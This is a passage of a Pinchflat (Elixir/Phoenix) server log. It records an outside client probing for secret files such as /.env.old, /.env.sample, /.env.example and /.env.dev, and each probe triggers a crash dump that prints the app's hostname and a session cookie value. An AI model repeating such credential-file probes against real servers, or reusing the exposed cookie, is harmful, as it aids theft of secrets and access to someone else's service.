"_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 16, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "p (truncated) 02:10:07.094 [info] GET /.env.old 02:10:07.094 [debug] QUERY OK source="settings" db=0.2ms idle=232.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:07.094 [debug] QUERY OK source="settings" db=0.0ms idle=232.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:07.094 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:07.094 [error] #PID<0.3321.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 17) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.old ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.old", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 17, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3321.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/.env.old", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6Dbhe5mVG1IAAQQB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.old", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 17, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.old", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 17, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchf (truncated) 02:10:07.205 [info] GET /.env.sample 02:10:07.206 [debug] QUERY OK source="settings" db=0.5ms idle=266.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:07.207 [debug] QUERY OK source="settings" db=0.3ms idle=230.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:07.207 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:07.208 [error] #PID<0.3322.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 18) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.sample ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.sample", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 18, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3322.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/.env.sample", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6D2FUxOFP1sAAQRB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.sample", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 18, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.sample", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 18, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, (truncated) 02:10:07.323 [info] GET /.env.example 02:10:07.324 [debug] QUERY OK source="settings" db=0.5ms idle=348.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:07.325 [debug] QUERY OK source="settings" db=0.2ms idle=230.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:07.325 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:07.326 [error] #PID<0.3323.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 19) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.example ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.example", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 19, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3323.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/.env.example", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6ESQ4rey9LMAAQSB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.example", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 19, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.example", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 19, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, (truncated) 02:10:07.443 [info] GET /.env.dev 02:10:07.444 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=348.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:07.445 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=237.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:07.445 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:07.445 [error] #PID<0.3324.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 20) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.dev ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dev", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => 